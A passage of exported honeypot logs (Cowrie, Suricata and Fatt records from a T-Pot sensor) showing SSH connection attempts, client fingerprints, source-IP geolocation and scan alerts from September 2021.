29604	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:28.27556+03	2021-09-20 14:30:04.340554+03	{"_id": "mQb2AnwBvYTbRNuEADb7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49172, "timestamp": "2021-09-20T11:27:28.275560", "@timestamp": "2021-09-20T11:27:28.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29605	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:27:31.894905+03	2021-09-20 14:30:04.341557+03	{"_id": "pQb2AnwBvYTbRNuEDTb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 118.70.233.117:45154 (192.168.176.2:22) [session: 95e95a39579c]", "session": "95e95a39579c", "@version": "1", "protocol": "ssh", "src_port": 45154, "dest_port": 22, "timestamp": "2021-09-20T11:27:31.894905Z", "@timestamp": "2021-09-20T11:27:31.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29606	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:27:31.897984+03	2021-09-20 14:30:04.342554+03	{"_id": "pgb2AnwBvYTbRNuEDTb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "95e95a39579c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:27:31.897984Z", "@timestamp": "2021-09-20T11:27:31.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29607	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:27:32.118287+03	2021-09-20 14:30:04.344553+03	{"_id": "pwb2AnwBvYTbRNuEDTb1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "95e95a39579c", "@version": "1", "timestamp": "2021-09-20T11:27:32.118287Z", "@timestamp": "2021-09-20T11:27:32.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29609	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:27:16.417885+03	2021-09-20 14:30:04.346553+03	{"_id": "jQb1AnwBvYTbRNuE0zYk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "6930d4fb91c8", "@version": "1", "duration": 5.388517379760742, "timestamp": "2021-09-20T11:27:16.417885Z", "@timestamp": "2021-09-20T11:27:16.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29610	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:27:43.026864+03	2021-09-20 14:30:04.348553+03	{"_id": "0Ab2AnwBvYTbRNuEODa_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:47452 (192.168.176.2:22) [session: f9025f18c88b]", "session": "f9025f18c88b", "@version": "1", "protocol": "ssh", "src_port": 47452, "dest_port": 22, "timestamp": "2021-09-20T11:27:43.026864Z", "@timestamp": "2021-09-20T11:27:43.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29611	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:27:43.204598+03	2021-09-20 14:30:04.349553+03	{"_id": "0gb2AnwBvYTbRNuEOjZ0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1975669658418778, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47452, "dest_port": 22, "timestamp": "2021-09-20T11:27:43.204598Z", "@timestamp": "2021-09-20T11:27:43.204Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29612	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:27:43.381553+03	2021-09-20 14:30:04.350553+03	{"_id": "1Ab2AnwBvYTbRNuEOzab", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 47452, "dest_port": 22, "timestamp": "2021-09-20T11:27:43.381553", "@timestamp": "2021-09-20T11:27:43.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29613	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:27:43.204883+03	2021-09-20 14:30:04.351553+03	{"_id": "1gb2AnwBvYTbRNuEPDao", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "f9025f18c88b", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:27:43.204883Z", "@timestamp": "2021-09-20T11:27:43.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29614	5.182.39.25	109.199.241.180	Suricata	2021-09-20 14:27:46.411286+03	2021-09-20 14:30:04.353553+03	{"_id": "4wb2AnwBvYTbRNuERjYu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "OpenSSH_7.4"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:27:46.283917+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1807}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.182.39.25", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1727815685920013, "payload": "AAAF1AsUzqnvsFKepFecaOT0KweBnwAAAUtjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE2LXNoYTUxMixkaWZmaWUtaGVsbG1hbi1ncm91cDE4LXNoYTUxMixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxleHQtaW5mby1jAAABR2VjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDM4NC1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwNTIxLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWRzcy1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMjU2LGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDUyMSxzc2gtZWQyNTUxOSxyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAI1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMxMjgtY3RyLGFlczE5Mi1jdHIsYWVzMjU2LWN0cixhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWNiYyxhZXMxOTItY2JjLGFlczI1Ni1jYmMAAACNY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1jYmMsYWVzMTkyLWNiYyxhZXMyNTYtY2JjAAAA1XVtYWMtNjQtZXRtQG9wZW5zc2guY29tLHVtYWMtMTI4LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLHVtYWMtNjRAb3BlbnNzaC5jb20sdW1hYy0xMjhAb3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAANV1bWFjLTY0LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTEyOC1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMi1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGExLWV0bUBvcGVuc3NoLmNvbSx1bWFjLTY0QG9wZW5zc2guY29tLHVtYWMtMTI4QG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAaemxpYkBvcGVuc3NoLmNvbSx6bGliLG5vbmUAAAAaemw=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37678, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:27:46.411286Z", "@timestamp": "2021-09-20T11:27:46.411Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........R..W.h..+......Kcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...Gecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc....chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....zlib@openssh.com,zlib,none....zl"}}	1	\N	\N	alert	\N	\N
29615	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:27:46.558158+03	2021-09-20 14:30:04.355555+03	{"_id": "5Qb2AnwBvYTbRNuERjYv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:27:45.560919+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 341056645336855, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22605, "dest_port": 22, "timestamp": "2021-09-20T11:27:46.558158Z", "@timestamp": "2021-09-20T11:27:46.558Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
29616	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:27:46.145996+03	2021-09-20 14:30:04.356553+03	{"_id": "6Ab2AnwBvYTbRNuERzZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46894, "timestamp": "2021-09-20T11:27:46.145996", "@timestamp": "2021-09-20T11:27:46.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29617	5.182.39.25	109.199.241.180	Fatt	2021-09-20 14:27:46.411321+03	2021-09-20 14:30:04.358553+03	{"_id": "6Qb2AnwBvYTbRNuERzZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.182.39.25", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "eecf4e14dea2b648c33ba89ab1b585c7", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc", "ceastc": "chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc", "client": "SSH-2.0-OpenSSH_7.4", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37678, "dest_port": 22, "timestamp": 